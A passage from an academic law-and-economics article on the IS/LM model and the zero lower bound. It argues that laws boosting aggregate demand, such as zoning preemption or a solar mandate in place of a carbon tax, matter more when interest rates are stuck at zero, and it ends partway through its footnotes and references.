multiplier.” To illustrate the money multiplier, suppose that the Central Bank prints |${\$}$|100 and gives it to me, |$\overline{M}=100$|⁠. I then deposit the money with a bank. The bank does not simply hold on to the cash. Instead, the bank lends some of my deposit to someone else. The amount of lending the bank does is determined by capital and reserve requirements set by financial regulators. Suppose that the bank lends |${\$}$|80 of the |${\$}$|100 I have deposited because the bank is required to hold 20% reserves. The bank transfers a credit of |${\$}$|80 to the borrower’s account (along with a debt obligation of |${\$}$|80). The money supply is now |${\$}$|180 rather than the original |${\$}$|100. In turn, the borrower may keep the |${\$}$|80 in the bank for a time. The bank now lends |${\$}$|64 (80% of |${\$}$|80) to still another borrower. The money supply is now |${\$}$|244=|${\$}$|100+|${\$}$|80+|${\$}$|64. The process continues until the series reaches its limit, with the money supply, |$M=\$500$| (Mankiw, 2015, p. 550).15 With looser reserve and capital requirements,16 the money multiplier will be higher than with tighter requirements, thus shifting the LM curve for a given amount of base money. Thus, the rightward shift of the LM curve depicted in Figure 3 can be triggered by a loosening of a bank capital or reserve requirements as well as an increase in base money. (The LM curve is a function of .) Moreover, the central bank is not in complete control of the money supply. If the money multiplier changes, for example, because banks become nervous and tighten lending requirements, then the money supply may shrink even if the central bank increases the supply of base money. 4.2.2. The ZLB The LM curve in Figure 3 reflects the existence of a “ZLB” on nominal interest rates.17 Because cash can always be held for no return, interest rates, which represent the price of money (relative to bonds), cannot go below zero, even if a simple extrapolation of the normal relationship between interest rate and output implies that interest rates should be negative. (If the interest rate on bonds becomes negative, money dominates bonds as an asset as it facilitates transactions and yields a higher return.) As a result, the LM curve is horizontal when the interest rate is approximately zero. A horizontal LM curve at an interest rate near zero can also be derived from the assumption of infinite demand for money once the return of money equals or exceeds the return of other assets. That is, |$\lim_{i\to 0}(L(i,Y))\to \infty$|⁠. This liquidity trap means that, once interest rates are zero, injecting more money into the economy does not change interest rates because the additional money gets held as an asset rather than leading savers to switch to bonds. Policy is trapped by overwhelming demand for the liquid asset.18 4.2.3. Shifting the LM curve. As can be seen from the LM equation, an increase in the money supply (which can stem from an increase in the supply of base money or from a loosening of reserve or capital requirements) shifts the LM curve to the right, as shown in Figure 3. At a given price level, more money supply increases the supply of real money balances, |$\frac{M}{P}$|⁠. Money is more abundant, so its price (the interest rate) goes down. Once the ZLB, |$(i=0)$|⁠, is triggered, however, interest rates are constrained to be zero. Thus, expansionary money policy (increases in base money, or lessening of lending requirements) when output is below the output associated with a zero interest rate does not shift the LM curve to the right. 4.3. Potential Output and Inflation To this point, I have described the conventional IS and LM curves and discussed how law can affect these curves. As noted, however, the IS/LM model is a static model that assumes stable prices. Both of these assumptions are questionable at best—especially in the long run. To make the model more realistic, I will add the following assumption that implicitly introduce some of modern dynamic macroeconomics to the IS/LM framework. First, assume that the economy has a “natural” rate of output at which inflation remains steady. Economists often call this level of output “potential output.” This level of output is denoted by |$Y_{\rm POT}$|⁠. This potential output reflects “real” factors of production, such as the level of technology, the size of the labor force, the capital stock, and law (I will return to law’s role in determining potential output in Section 5.) In the long run, actual output is determined by potential output. When actual output, as determined by the IS/LM model, is above potential output, then inflation ensues. Thus, the economy cannot produce above its potential indefinitely without inflation increasing. Second, assume that there is a central bank that is concerned with stabilizing inflation while keeping output at its potential so as to avoid unnecessary unemployment. If output is above potential, then the central bank tries to reduce output to forestall inflation. If output is below potential, then the central bank tries to stimulate the economy to avoid unemployment. With the addition of potential output and inflation the IS/LM model contains a mechanism whereby output cannot stay above its potential indefinitely. A demand shock that brings output above potential (see below) induces, over time, inflation. The demand shock also induces a central bank response designed to offset the inflation. Thus, the economy will tend to return to its potential output in spite of most demand shocks. In the long run, growth in a healthy economy can only result from increasing potential output rather than increasing demand. In the short run, however, output can be above potential due to increases in spending. And even more importantly, as shown below, output can remain below its potential indefinitely—even if the central bank tries to bring output back to potential—when the economy is stuck at the ZLB. 4.4. IS/LM as a General Equilibrium Model of the Economy The IS and LM curves together provide a general theory for the joint determination of output and interest rates.19 4.4.1. Output and interest rates in the economy Consider the initial IS and LM curves from Figures 2 and 3, which are depicted again in Figure 4. The two curves intersect at point A. At this level of output, |$Y_{POT}$|⁠, and interest rate, |$i_0$|⁠, both the goods market and the money market are in equilibrium. The IS/LM model uses inputs, such as the law, the base money supply, government spending, etc into a prediction for the economy’s resultant output and interest rate levels. Figure 2. Open in new tabDownload slide Law in the IS Curve. Figure 3. Open in new tabDownload slide The LM Curve and the ZLB At this equilibrium level of output and interest rates, the economy is producing at capacity. There are no inflationary pressures and the central bank does not engage in stabilization policy to stimulate or inhibit the economy. The IS/LM model also offers predictions for what happens to output and interest rates when some inputs to the model change. Suppose, for example, that zoning law, |$l_2$|⁠, shifts from tight to loose. As discussed in Figure 2 above, this promotes investment spending. This shift in law shifts the IS curve to the right, as depicted.20 This shift in the IS curve translates into an increase in both output and interest rate, as the economy’s equilibrium shifts to point B. As depicted in Figure 4, the shift in law and aggregate demand produces a relatively small increase in output (from |$Y_{POT}$| to |$Y_1$|⁠) and a large increase in interest rates (from |$i_0$| to |$i_1$|⁠). In this environment, the increase in demand for investment spending induced by the change in zoning law mostly displaces other investment and consumption spending. Output changes comparatively little. This suggests that the economy is operating near its potential (as depicted). Increases in demand do not increase output by utilizing excess capacity. Instead, increases in demand mostly raise interest rates by increasing competition for bonds and raising interest rates. Figure 4. Open in new tabDownload slide The Determination of Output and Interest Rates in the IL/LM Model. The increase in output caused by the shift in zoning law (from |$Y_{POT}$| to |$Y_1$|⁠) raises inflationary pressures, as the economy is producing at a level above its potential (⁠|$Y_{POT}<Y_1$|⁠). This induces inflation and induces the central bank to take action to avoid the inflation. The central bank responds to the law-induced increase in demand by lowering base money from |$\overline{M_1}$| to |$\overline{M_3}$|⁠. This reduction of base money lowers money supply and raises interest rates still further. The rise in interest rates, in turn, induces a shift along the new IS curve, reducing investment and output until output again equals potential. The central bank has thus offset the inflationary pressures induced by the aggregate demand increase caused by the loosening of zoning law. At point B, the central bank enjoys considerable stabilization capacity to offset shocks to output and the interest rate. 4.4.2. Equilibrium at the ZLB. The IS/LM model’s predictions for the effects of law and monetary policy on output and interest rates prove very different when the economy is constrained by the ZLB.21 (See Figure 5). Suppose that the economy is at an initial equilibrium at point A, where the IS curve with tight zoning, |$IS(.,l_2^{\rm tight})$| intersects the LM curve with base money level |$\overline{M_1}$|⁠. At this equilibrium, output equals potential and the interest rate is |$i_0$|⁠. This initial condition is the same as it was in Figure 5. Figure 5. Open in new tabDownload slide Output and Interest Rates at the ZLB. The economy is then hit by a negative aggregate demand shock (Figure 5). The shock may be a sudden loss of confidence by consumers and investors due to a political, financial, or environmental crisis. At any interest rate, desired spending goes down significantly. The IS curve shifts leftward to |$IS(cri,l_2^{\rm tight})$| to reflect a dramatic reduction in spending as a result of the crisis. The inward shift of the IS curve is enough to trigger the ZLB. At the new equilibrium in the economy at point B, the interest rate is zero and the output level is given by |$Y_{\rm ZLB}$|⁠. At the new equilibrium, output, |$Y_{\rm ZLB}$|⁠, is well below the economy’s potential, |$Y_{\rm POT}$|⁠. Output declines so much because one of the effects that mediates a sudden decline in demand—the reduction in interest rates that promotes a countervailing increase in investment—no longer occurs once interest rates on bonds have gone as low as they can go (zero). As a result, output, rather than interest rates, declines dramatically along with demand. Impotence of the central bank With output so far below potential, unemployment gets very high. Deflation becomes a risk as well. A central bank will therefore try to stimulate the economy. The central bank’s primary tool for stimulation is its control over base money, |$\overline{M}$| and very short-term interest rates. In order to stimulate the economy, the central bank will buy bonds from banks and issue currency, raising base money from |$\overline{M_1}$| to |$\overline{M_2}$|⁠, shifting the LM curve outward as shown in Figure 3. Unfortunately, the central bank’s monetary expansion has no effect on the economy. Interest rates are already zero. Raising the money supply ordinarily stimulates the economy by lowering interest rates and making bonds attractive relative to money, triggering investment and consumption. (We can see that this is exactly what would have occurred if the central bank had conducted expansionary policy at the old equilibrium, point A.) But with interest rates already at the ZLB, this type of stimulus is unavailable. The economy is constrained by inadequate demand. The central bank’s increase in base money does not promote demand. Instead, the increase in money is held as assets by banks or individuals, failing to stimulate the economy. The economy’s equilibrium remains at point B, with output well below potential and interest rates at zero. The central bank is impotent.22 Figure 3 demonstrated that some forms of financial regulation, such as capital requirements and reserve requirements, operate much like increases in base money. They all increase the money supply and lower interest rates. At the ZLB, changes in financial regulation, just like changes in base money, cannot stimulate the economy in the conventional way because they do not lower the interest rate and promote additional spending. Thus, changing financial regulation does not provide an alternative instrument for the central bank at the ZLB. Many scholars have argued that economic performance in industrialized countries since the Great Recession of 2008, with interest rates stuck at zero, low labor force participation, and growth well below expectations, constitute a dramatic example of the dangers of the ZLB problem described here (Summers, 2016). In 2015, US GDP was |${\$}$|16.3 trillion in 2009 dollars. Estimates of 2015’s potential output in 2007, before the Great Recession, were over |${\$}$|18 trillion (again in 2009 dollars) (Congressional Budget Office, 2014). The U.S.’s output was thus almost 10% below potential, a vast loss of output. The efficacy of law at the ZLB In contrast with monetary policy, legal policy that shifts aggregate demand can be very effective at the ZLB. Imagine, for example, that many state governments preempt local zoning laws temporarily during a liquidity trap. This triggers an investment boom and shifts the IS curve outward, as discussed in Figures 2 and 4. In Figure 4, we saw that the increase in aggregate demand associated with loosening zoning law did not move output much in ordinary economic conditions. Instead, the outward shift in the IS curve primarily led to an increase in interest rates. Moreover, any increase in output associated with the loosening of zoning laws might well be offset by central bank monetary policy designed to offset inflation that might result from output above potential. Not so when the economy is stuck below potential output at the ZLB. Suppose that a large state, such as California, preempts local zoning laws, triggering a residential and commercial investment boom. While the rest of the economy remains moribund as a result of the crisis, construction in California booms. The IS curve shifts outward from |$IS(cri,l_2^{\rm tight})$| to |$IS(cri,l_2^{\rm loose})$|⁠. The economy is now in equilibrium at point C, with output of |$Y_2$| and an interest rate that remains at zero. At the ZLB, the expansion of aggregate demand associated with looser zoning rules leads to a large increase in output and reduced unemployment but no change in interest rates. Because the economy is stuck at the ZLB with output well below potential, the increased spending does not replace other spending and raise interest rates. Instead, the increased spending utilizes idle capacity, raising output considerably. Moreover, the central bank does not offset the increase in output caused by the legal change. Rather, the central bank welcomes the demand stimulus and resulting increase in output. Even with the demand stimulus, output is below potential (⁠|$Y_2<Y_{POT}$|⁠). The central bank would like to use monetary policy to reduce unnecessary unemployment and stop deflationary tendencies, but it is unable to do so because of the ZLB constraint on interest rates. The demand expansion caused by the change in zoning laws thus helps the central bank achieve its goals when its primary instruments are unavailable. Indeed, after the increase in demand caused by the zoning shift, the central bank would like still further expansion to demand (perhaps from some of the other legal policies discussed above) in order to bring output even closer to potential. The effect of demand expansion via legal policy is thus very different at the ZLB (Figure 5) than it is when the economy is near its potential (Figure 4). At the ZLB, “expansionary legal policy” raises output, does not change interest rates, and diminishes deflationary pressures. When the economy is near its potential, by contrast, expansionary legal policy raises output only slightly. Instead, its primary effect is on interest rates. Moreover, any short-term effect of expansionary legal policy on output away from the ZLB is likely to be snuffed out quickly by the central bank in order to restrain inflationary pressures. 5. From the Short Run to the Long Run in Macroeconomics and Law and Economics 5.1. From the Short Run to the Long Run in Macroeconomics The IS/LM model and its more modern “New Keynesian” descendants provide a model for the economy in the short run, in which prices are fixed.23 In the long run, however, prices change. In New Keynesian models, long-run output is not determined by demand by rather by real factors such as the size and sophistication of the labor force, the capital stock, and the level of technological sophistication. If the economy is operating above potential, then, over the long run, prices rise. In the IS/LM model, an exogenous rise in prices effectively reduces the real money supply, raising interest rates, and reducing output. This process gradually continues until output returns to its potential level. If output is below potential, then prices should fall in the long run. This decrease in prices raises the real money supply, lowers the interest rate, and raises output until in returns to its potential level. Over the long run, recessions or booms in which output differs from potential generate price and interest rate pressures that ultimately bring the economy back to its long run potential. One question that remains unanswered is how long it takes for the economy to transition between the “short run” of the IS/LM model and the “long run” in which output equals potential. The more easily prices change, the shorter the short run should be. It is important to emphasize, however, that even relatively rapid but uncoordinated price changes can lead to relatively large degrees of price stickiness (Romer, 2012, pp. 275–8). Moreover, the length of the short run may be much longer in deep recessions than it is in booms because prices are much stickier “downward” than “upward”—for example, it is much harder to decrease someone’s salary in nominal terms than it is to increase it (Akerlof et al., 1996). And when sufficiently deficient aggregate demand triggers the ZLB on interest rates, even perfect price flexibility does not guarantee that output equals potential (Wren-Lewis, 2014). Finally, a bad recession in the short run can have negative long-term effects on potential output, a process known as hysteresis (Blanchard and Summers, 1986). 5.2. Law and Economics and Long-Run Macroeconomics If the economy always quickly returns to its “potential” due to price and interest rates adjustments and the central bank hastens the adjustment with its influence over the interest rate, then law and economics can focus on microeconomic efficiency. In macroeconomic terms, this means that law and microeconomics is focused on making potential output as high as possible. Consider the choice between a carbon tax and a solar power mandate discussed in Section 3. The traditional law and economics approach is as follows. The carbon tax internalizes the externalities at the least cost, while the solar panel mandate is extremely costly. Therefore the economy’s potential, taking into account externalities as well as actual output, is higher with the Pigovian carbon tax than it is with the solar panel mandate (⁠|$Y_{\rm POT}^{\rm Pigou}>Y_{\rm POT}^{\rm Solar}$|⁠) in Figure 6. True, the instrument choice may affect aggregate demand and short-run output. But, so long as the economy is operating normally, the effect on output will be small and short-lived, analogous to the effect of the zoning change on output in Figure 4. With little at stake in terms of short-run macroeconomics, law and microeconomics focuses on getting long-run potential output as high as possible. Figure 6. Open in new tabDownload slide Solar Power Mandate versus Pigouvian Taxation at the ZLB. This explanation for law and economics’ avoidance of short-run macro proves compelling in ordinary circumstances. Legislators, regulators, judges, etc. are not macroeconomic experts, to put it mildly. If the macroeconomic effects of legal decisions are not particularly important, then the legal system should focus on a different goal and that means microeconomic efficiency. If the Pigovian tax makes long-run potential output higher than the solar power mandate, then we should choose the Pigovian tax. At the ZLB, however, the justification for law and economics’ avoidance of macroeconomics—that the effects of law on aggregate demand lead to short-lived changes in output that can be easily handled by the central bank—falls apart. As we have seen throughout in this article, at the ZLB, law’s effects on aggregate demand cause large changes in output. Moreover, these changes to aggregate demand cannot be offset by the central bank, which is constrained by the ZLB. In addition, the “short run” is likely to be quite long at the ZLB because prices do not adjust downward as smoothly as they adjust upward—meaning that price movements do not cause output to adjust as quickly as they do in ordinary times. Thus, in deep recessions, law and economics should change. Suppose that the solar panel mandate promotes aggregate demand relative to the Pigovian Carbon tax, as shown in Figure 6. (⁠|$IS(\text{Solar})>IS(\text{Pigou})$|⁠). In the short run, this means that the solar panel promotes higher output than the Pigovian tax. (⁠|$Y_{\rm ZLB}^{\rm Pigou}<Y_{\rm ZLB}^{\rm Solar}$|⁠). At the same time, long-run potential output is higher with the Pigovian tax (⁠|$Y_{\rm POT}^{\rm Pigou}>Y_{\rm POT}^{\rm Solar}$|⁠). Which policy should a lawmaker or regulator choose? At the ZLB, the answer may well be the solar panel mandate. The preference for the solar power mandate relative to the Pigovian tax gets stronger as (a) the solar panel mandates promotes much more spending than the Pigovian tax, (b) hysteresis effects loom larger (meaning that perhaps even |$Y_{\rm POT}^{\rm Pigou}\geq Y_{\rm POT}^{\rm Solar}$|⁠), (c) alternative aggregate demand promotion policies are not in the offing and (d) the value of the future gets smaller relative to the present because the short run lasts years or decades. 6. What about Alternative Macro Mechanisms? Many readers are likely thinking something along the following lines “Even if law is theoretically valuable for macroeconomics, we may prefer to use alternative mechanisms to promote aggregate demand. Lawyers are no experts in macroeconomics, after all.” Here, I sketch a few brief responses to this common critique, which will be addressed in depth in other work: Central banks have taken unprecedented risks, increasing their balance sheets by almost an order of magnitude, during the Great Recession without ending the period of inadequate aggregate demand. Thus, the central bank acting alone cannot be the alternative mechanism that people prefer. Expansionary fiscal policy itself is law and is subject to many of the concerns (macroeconomically ignorant decision-makers, legislative inertia, long-time lags) that limit law in responding to macroeconomic concerns. There is thus no reason to make fiscal policy a priori dominant over other areas of law as a macroeconomic policy tool. Indeed, fiscal policy has not responded vigorously to the secular stagnation in the last eight years. The lack of fiscal response has been so glaring that central bankers, like Chair Ben Bernanke of the Federal Reserve, have taken the unprecedented step of requesting a softer fiscal stance from lawmakers in the short term (Bernanke, 2013). (Maybe Chair Bernanke should also have spoken to the government’s chief regulators.) Lawmakers, regulators, and judges are not macroeconomic experts. But ZLB recessions have clear indicators (zero short-term interest rates and very low long-term interest rates) that even macroeconomically unsophisticated lawyers can observe. ZLB recessions tend to last many years. Even if regulators and judges are slow to respond to macroeconomic concerns and their responses are slow to take effect, they are likely to be able to respond fast enough to make a difference to a prolonged recession at the ZLB. Part of the reason lawyers are macroeconomically unsophisticated is that we do not teach them any macro. This can be rectified by teaching macro to lawyers as we teach micro to lawyers. (This would also help future legislators who go to law school understand the economics of recessions.) While it is hard to know whether a particular legal policy will promote or inhibit spending and employment, it seems equally hard to know whether or not a policy will be microeconomically efficient. The direct effects of the law on spending are a coherent empirical question that is already studied by some agencies as part of “feasibility analysis” (Masur and Posner, 2012). If the law can make educated guesses about what is microeconomically efficient, it can also make educated guesses about what policies will increase spending. 7. Conclusion This article provided a theoretical framework for analyzing the effects of laws on aggregate demand. I demonstrated that, when demand is depressed and interest rates are at the ZLB, the effects of law on aggregate demand should be a factor in making legal policy. Laws that promote spending become more attractive relative to other laws when the economy is constrained by the ZLB. Law offers a hitherto unexplored means of responding to one of the central social problems of the day—secular stagnation in growth rates and labor force participation rates. Because the stakes in macroeconomics are so large (tens of trillions of dollars in Gross Domestic Product (GDP), ruined lives, social upheaval), it is worth pursuing law and macroeconomics even if it will be hard to implement. An incredible amount of work remains, of course, in order to make law a plausible option for macroeconomic policy. I hope that this article has furthered this project by providing a theoretical framework in which to examine the macroeconomic effects of any law and to focus those efforts on the times when they are most needed—when the economy is stuck below its potential output levels at the ZLB. Acknowledgements I thank Inho (Andy) Mun for truly superb research assistance. I also thank Bruce Ackerman, Ian Ayres, Heather Gerken, David Grewal, Jonathan Klick, Zach Liscow, Nicholas Parrillo, Roberta Romano and John Witt for many helpful conversations and comments. I thank seminar participants at Yale, Stanford, Boston College, Hebrew University, Tel Aviv University, Haifa University, and Bar-Ilan University Law Schools for their lively feedback and discussion. All errors are my own. Footnotes 1. This has been the title of three conferences hosted by the International Monetary Fund. 2. See, e.g., Young and Zilberfarb (2000) (“Dornbusch and Fischer termed [Hicksian IS-LM] as ‘core of modern macroeconomics.”’). 3. See also Galle and Klick (2010) (assessing the cyclical effects of the Alternative Minimum Tax); Strnad (2003) (examining the macroeconomic implications of a cash flow tax). 4. For instance, Liscow (2016) notes, “Whether due to sticky information, sticky wages, or some other cause, reallocation works less well during recessions.” (footnotes omitted). 5. But see Fleischer (2015) (arguing against Pigovian taxation); Weitzman (1974) (advocating quantity regulation under some circumstances). 6. More sophisticated demand side theories (see below) consider the possibility of asymmetries with respect to the influence of demand on output. Inadequate demand can restrict output (imagine a restaurant with no customers), but excess aggregate demand cannot lead to any level of output (a restaurant can only serve so many meals before it hits a capacity constraint, even with lines out the door). 7. See, e.g., Krugman (2014) (concluding that “the experience of the past six years has actually been a great vindication for those who relied on a simple but explicit model, Hicksian IS-LM, which made predictions very much at odds with what a lot of people who didn’t use explicit models were sure would happen”). 8. The model presented here is of a “closed economy”—there are no goods or capital flows from other economies. For an open economy version of the IS/LM model, see Mankiw (2015, pp. 339, 373). 9. In the standard Keynesian model, this relationship between output and consumption is asserted rather than derived from consumer behavior. In the subsequent decades, an enormous amount of research effort has been devoted to developing a more theoretically and empirically grounded understanding of consumption patterns (see, e.g., Deaton, 1993). 10. The “New Keynesian” IS curve, in which output today is a declining function of the interest rate (as well as expected output in the next period), can be derived from a maximizing representative household as follows. Begin with a household attempting to choose consumption and savings to maximize lifetime utility. Savings yields an interest rate. The first-order condition of the utility function for this household is called an “Euler equation” which sets the marginal utility of consumption today equal to the discount rate multiplied by the interest rate multiplied the marginal utility of consumption tomorrow. This implies that a higher interest rate today means less consumption and output today, as the household prefers to save, receive the high interest rate, and consume in the next period (see, e.g., Romer, 2012, pp. 240–2). 11. In fact, the plaintiff asked for a very high damage amount that would enable the plaintiff to remedy the land. The opinion is written, however, as if the choice is between specific performance and low damages. 12. We can conflate the real interest rate, |$r$|⁠, and the nominal interest rate, |$i$|⁠, because we have assumed prices are fixed. 13. The monetary base includes currency and private banks’ reserves held by the central bank (see Goodhart, 1989). Whenever the central bank buys bonds, it increases base money. Thus, conventional expansionary monetary policy (involving very short-term government bonds) and unconventional monetary policy (involving longer term bonds) both increase the monetary base. 14. We can derive a micro-founded LM curve by assuming that the household gets a direct utility benefit by holding money because it facilitates transactions. See Romer (2012, pp. 240–2) and the citations therein. 15. See discussion at note 8. 16. This type of “law and macroeconomics”, which examines the role of financial regulation in the macroeconomy, is much more well developed. For recent examples, see Romano (2014). Unfortunately, most of the literature on financial regulation also does not attempt to link itself explicitly with macroeconomic models of the economy. In this article, I will not develop the connection between the LM curve and law further. This is a promising avenue for future research. 17. Recent experience demonstrates that short-run interest rates can become negative. While cash has a ZLB on return, other forms of money, such as checking, are not formally constrained by the zero lower bound. Because cash is not a perfect substitute for these other forms of money (e.g., its expensive and dangerous to store), interest rates on non-cash money can go slightly negative. If short-term interest rates on other forms of money become too far negative, however, then we would expect widespread substitution from these other forms of money too cash, with considerable disruption to the economy. Thus, the ZLB is more accurately characterized as a “just slightly negative interest rate” lower bound. For expositional purposes, however, the ZLB is a good approximation. For a discussion of negative short term interest rates. See Rognlie (2016). 18. While I use the term liquidity trap in the text, I think the term as unfortunate. The phrase does not evoke the problems as well as the “ZLB.” 19. The IS curve is a set of output/interest rate combinations that balance the investment/savings market. At any point along the IS curve, the market for goods is in equilibrium. The LM curve is a set of output/interest rate combinations that equilibrate the money market. When these two curves intersect, we have found a unique output/interest rate combination that balances both the goods and money markets—at a given price. By Walras’ Law, if |$n-1$| markets are in equilibrium, then all |$n\$| markets are in “general” equilibrium. Thus, if the goods and money markets are in equilibrium, so too is the bonds market. The point where the IS and LM curves intersect is thus a point of general equilibrium in the goods, money, and bonds markets. 20. Below, I will consider the possibility that the shift in zoning law shifts the economy’s potential output level. 21. This discussion follows Hicks’s famous analysis (see Hicks, 1937). For recent dynamic and micro-founded treatments of the macroeconomics of the ZLB: see, e.g., Eggertsson and Krugman (2012), Christiano et al. (2011), Eggertsson (2011), Woodford (2011), and Eggertsson and Woodford (2003). 22. Even with interest rates at zero, the central bank can try to raise inflationary expectations (e.g., by using “unconventional monetary policy”—increasing base money by buying longer dated bonds) so that the real interest rate can go negative. In order to raise inflation expectations, the central bank needs to commit to high inflation after the ZLB has been overcome as well as during the “liquidity trap.” As a result, achieving sufficiently negative real interest rates proves more difficult than might have been expected (Krugman et al., 1998; Eggertsson and Woodford, 2003). In fact, central banks have mostly failed to raise inflation expectations during the Great Recession in spite of significant unconventional monetary operations. 23. New Keynesian models are not universally accepted. A school of macroeconomics that emphasizes “Real Business Cycles” argues that output reaches its potential in the short run as well as the long run. In real business cycle models, monetary policy is irrelevant and recessions and booms are caused by shocks to technology and labor supply. As one graduate macroeconomics textbook summarizes real business cycle models, “there is broad agreement that the [real business cycle] models do not provide a remotely accurate account of fluctuations. Moreover, there are important features of fluctuations that appear impossible to understand without incorporating some type of nominal rigidity or imperfection” (Romer, 2012, p. 229). Because of this consensus, I do not discuss real business cycle critiques here. References Akerlof, George A. , Dickens William T., Perry George L., Gordon Robert J. and Mankiw N. Gregory. 1996 . “ The Macroeconomics of Low Inflation, ” 1 Brookings Papers on Economic Activity 1 – 59 . Google Scholar Crossref Search ADS WorldCat Bernanke, Ben S. 2004 . “ Remarks by Governor Ben S. Bernanke: The Great Moderation, ” The Federal Reserve Board , February 20 . Available at: http://www.federalreserve.gov/boarddocs/speeches/2004/20040220/ ( accessed September 6, 2018 ). Bernanke, Ben S. 2013 . “ Semiannual Monetary Policy Report to Congress, ” Board of Governors of the Federal Reserve System , February 26 . Available at: https://www.federalreserve.gov/newsevents/testimony/bernanke20130226a.htm ( accessed September 6, 2018 ). Blanchard, Olivier and Summers Lawrence. 1986 . “ Hysteresis and the European Unemployment Problem, ” 1 NBER Macroeconomics Annual 15 – 78 . Google Scholar Crossref Search ADS WorldCat Blanchard, Olivier. 2015 . “ Ten Take Aways from the ‘Rethinking Macro Policy: Progress or Confusion?’ ” IMFBlog , May 1 . Available at: https://blog-imfdirect.imf.org/2015/05/01/ten-take-aways-from-the-rethinking-macro-policy-progress-or-confusion/ ( accessed September 6, 2018 ). Blanchard, Olivier . 2016 . “ Do DSGE Models Have a Future? ” Peterson Institute for International Economics Policy Brief 16-11 . Available at https://piie.com/system/files/documents/pb16-11.pdf ( accessed September 6, 2018 ). Christiano, Lawrence , Eichenbaum Martin and Rebelo Sergio. 2011 . “ When Is the Government Spending Multiplier Large?, ” 119 Journal of Political Economy 78 – 121 . Google Scholar Crossref Search ADS WorldCat Congressional Budget Office . 2014 . Revisions to CBO’s Projection of Potential Output Since 2007 . Available at: https://www.cbo.gov/sites/default/files/113th-congress-2013-2014/reports/45150-PotentialOutput.pdf ( accessed September 6, 2018 ). Davis, Steven J. and Kahn James A., 2008 . “ Interpreting the Great Moderation: Changes in the Volatility of Economic Activity at the Macro and Micro Levels, ” 22 Journal of Economic Perspectives 155 – 80 . Google Scholar Crossref Search ADS WorldCat Deaton, Angus . 1993 . Understanding Consumption . New York, NY : Oxford University Press Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Eggertsson, Gauti . 2012 . “ Was the New Deal Contractionary?, ” 102 American Economic Review 524 – 55 . Google Scholar Crossref Search ADS WorldCat Eggertsson, Gauti B. 2011 . “ What Fiscal Policy Is Effective at Zero Interest Rates? ” in Acemoglu, Daron and Woodford Michael, eds., NBER Macroeconomics Annual , Vol. 25 , pp. 59 – 112 . Chicago : University of Chicago Press . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Eggertsson, Gauti B. and Krugman, Paul. 2012 . “ Debt, Deleveraging, and the Liquidity Trap: A Fisher-Minsky-Koo Approach, ” 127 Quarterly Journal of Economics 1469 – 513 . Google Scholar Crossref Search ADS WorldCat Eggertsson, Gauti B. and Woodford Michael. 2003; “ The Zero Bound on Interest Rates and Optimal Monetary Policy, ” 1 Brookings Papers on Economic Activity 139 – 211 . OpenURL Placeholder Text WorldCat Fleischer, Victor . 2015 . “ Curb Your Enthusiasm for Pigouvian Taxes, ” 68 Vanderbilt Law Review 1673 – 713 . Google Scholar OpenURL Placeholder Text WorldCat Galle, Brian D. , and Klick Jonathan. 2010 . “ Recessions and the Social Safety Net: The Alternative Minimum Tax as a Counter-Cyclical Fiscal Stabilizer, ” 63 Stanford Law Review 187 – 246 . Google Scholar OpenURL Placeholder Text WorldCat Goodhart, Charles . 1989 . “ Monetary Base ” in Eatwell, John, Milgate Murray and Newman Peter K., eds., Money . London : Palgrave Macmillan . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Hicks, John . 1937 . “ Mr. Keynes and the ’Classics’; A Suggested Interpretation, ” 5 Econometrica 147 – 59 . Google Scholar Crossref Search ADS WorldCat Kaplow, Louis and Shavell Steven. 2002 . “ On the Superiority of Corrective Taxes to Quantity Regulation, ” 4 American Law and Economics Review 1 – 17 . Google Scholar Crossref Search ADS WorldCat Kelman, Mark . 1993 . “ Could Lawyers Stop Recessions? Speculations on Law and Macroeconomics, ” 45 Stanford Law Review 1215 – 310 . Google Scholar Crossref Search ADS WorldCat Kelman, Mark . 1999 . Strategy or Principle? The Choice Between Regulation and Taxation . Ann Arbor, MI : University of Michigan Press . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Krugman, Paul R. , Dominquez Kathryn M. and Rogoff Kenneth. 1998 . “ It’s Baaack: Japan’s Slump and the Return of the Liquidity Trap, ” 2 Brookings Papers on Economic Activity 137 – 205 . Google Scholar Crossref Search ADS WorldCat Krugman, Paul . 2014 . “ The State of Macro—Six Years Later, ” The New York Times . October 14 , 2014 . Available at “http://krugman.blogs.nytimes.com/2014/10/14/the-state-of-macro-six-years-later/ ( accessed September 6, 2018 ). Krugman, Paul . 2000 . “ How Complicated does the Model Have To Be?, ” 16 Oxford Review of Economic Policy 33 – 42 . Google Scholar Crossref Search ADS WorldCat Liscow, Zachary D. 2016 . “ Counter-Cyclical Bankruptcy Law: An Efficiency Argument for Employment-Preserving Bankruptcy Rules, ” 116 Columbia Law Review 1461 – 502 . Google Scholar OpenURL Placeholder Text WorldCat Listokin, Yair . 2009a . “ Stabilizing the Economy Through the Income Tax Code, ” 123 Tax Notes 1 – 8 . Google Scholar OpenURL Placeholder Text WorldCat Listokin, Yair . 2009b . “ A Note on Tax Expenditures and Business Cycle Fluctuations, ” 102 Proceedings of the Annual Conference on Taxation and Minutes of the Annual Meeting of the National Tax Association 195 – 202 . Google Scholar OpenURL Placeholder Text WorldCat Listokin, Yair . 2012 . “ Equity, Efficiency, and Stability: The Importance of Macroeconomics for Evaluating Income Tax Policy, ” 29 Yale Journal on Regulation 45 – 89 . Google Scholar OpenURL Placeholder Text WorldCat Listokin, Yair . 2016 . “ How to Think About Income Tax When Interest Rates Are Zero, ” 151 Tax Notes 1 – 4 . Google Scholar OpenURL Placeholder Text WorldCat Listokin, Yair . 2017 . “ Law and Macroeconomics: The Law and Economics of Recessions, ” 34 Yale Journal on Regulation 791 – 856 . Google Scholar OpenURL Placeholder Text WorldCat Mankiw, N. Gregory . 2008 . “ New Keynesian Economics, ” The Concise Encyclopedia of Economics . Available at: http://www.econlib.org/library/Enc1/NewKeynesianEconomics.html ( accessed September 6, 2018) (describing a recession as a coordination failure ). Mankiw, N. Gregory . 2006 . “ The Macroeconomist as Scientist and Engineer, ” 20 Journal of Economic Perspectives 29 – 46 . Google Scholar Crossref Search ADS WorldCat Mankiw, N. Gregory . 2015 . Macroeconomics , 7th ed. Stamford, CT : Cengage Learning . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Masur, Jonathan and Posner Eric A.. 2015 . “ Toward a Pigouvian State, ” 164 University of Pennsylvania Law Review 93 – 147 . Google Scholar OpenURL Placeholder Text 